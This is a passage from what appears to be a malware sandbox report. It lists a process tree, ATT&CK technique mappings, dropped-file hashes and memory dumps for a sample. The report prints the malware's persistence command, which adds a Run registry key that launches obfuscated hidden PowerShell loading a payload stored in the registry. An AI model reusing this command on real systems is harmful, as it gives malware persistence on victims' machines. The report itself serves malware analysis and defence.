        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Tidsperioderne189% -w 1 $Yodellers23=(Get-ItemProperty -Path 'HKCU:\Lrlingekontrakten\').Propertyless;%Tidsperioderne189% ($Yodellers23)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3928
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Tidsperioderne189% -w 1 $Yodellers23=(Get-ItemProperty -Path 'HKCU:\Lrlingekontrakten\').Propertyless;%Tidsperioderne189% ($Yodellers23)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4512
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2856 -s 980
        5⤵
        Program crash
        
        PID:1524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2856 -ip 2856
1⤵
PID:2636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_bobhrfou.mii.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bobhrfou.mii.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Vaterpassenes24.Acc

Path C:\Users\Admin\AppData\Roaming\Vaterpassenes24.Acc
Size 406KB
SHA256 06364e5f7100395c2a5862cb01dc13b7c781eafc641492bb60c80fb1391a2cee
MD5 e504a53ee3c0d21cf89c447a0497c6e1
SHA1 711325cad1137834e4593c40bcda3e7c60902a8b
SHA512 3a0832f64401d0ee52144f914f649983f9ed619761131f20b88070349229a26c97477eee418d3d33841391d97e8c43b1d045fde8075572b3ba796850d50fea3d
SSDEEP 12288:V6rmeZEe7zWTcJLymuJu0dmnCGS1rc6+67:FePWTBzlB77
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2856-54-0x0000000001200000-0x0000000005F4B000-memory.dmp

Download

memory/2856-46-0x0000000001200000-0x0000000005F4B000-memory.dmp

Download

memory/3104-20-0x00000000052C0000-0x00000000058E8000-memory.dmp

Download

memory/3104-38-0x0000000007280000-0x0000000007316000-memory.dmp

Download

memory/3104-42-0x0000000008950000-0x000000000D69B000-memory.dmp

Download

memory/3104-21-0x0000000005130000-0x0000000005152000-memory.dmp

Download

memory/3104-22-0x0000000005960000-0x00000000059C6000-memory.dmp

Download

memory/3104-23-0x00000000059D0000-0x0000000005A36000-memory.dmp

Download

memory/3104-33-0x0000000005A40000-0x0000000005D94000-memory.dmp

Download

memory/3104-34-0x0000000005FD0000-0x0000000005FEE000-memory.dmp

Download

memory/3104-35-0x0000000006010000-0x000000000605C000-memory.dmp

Download

memory/3104-36-0x0000000007770000-0x0000000007DEA000-memory.dmp

Download

memory/3104-37-0x0000000007120000-0x000000000713A000-memory.dmp

Download

memory/3104-19-0x00000000026D0000-0x0000000002706000-memory.dmp

Download

memory/3104-39-0x0000000007190000-0x00000000071B2000-memory.dmp

Download

memory/3104-40-0x00000000083A0000-0x0000000008944000-memory.dmp

Download

memory/3604-16-0x00007FFDE94D0000-0x00007FFDE9F91000-memory.dmp

Download

memory/3604-4-0x00007FFDE94D3000-0x00007FFDE94D5000-memory.dmp

Download

memory/3604-45-0x00007FFDE94D0000-0x00007FFDE9F91000-memory.dmp

Download

memory/3604-44-0x00007FFDE94D3000-0x00007FFDE94D5000-memory.dmp

Download

memory/3604-15-0x00007FFDE94D0000-0x00007FFDE9F91000-memory.dmp

Download

memory/3604-49-0x00007FFDE94D0000-0x00007FFDE9F91000-memory.dmp

Download

memory/3604-5-0x00000272BFA40000-0x00000272BFA62000-memory.dmp

Download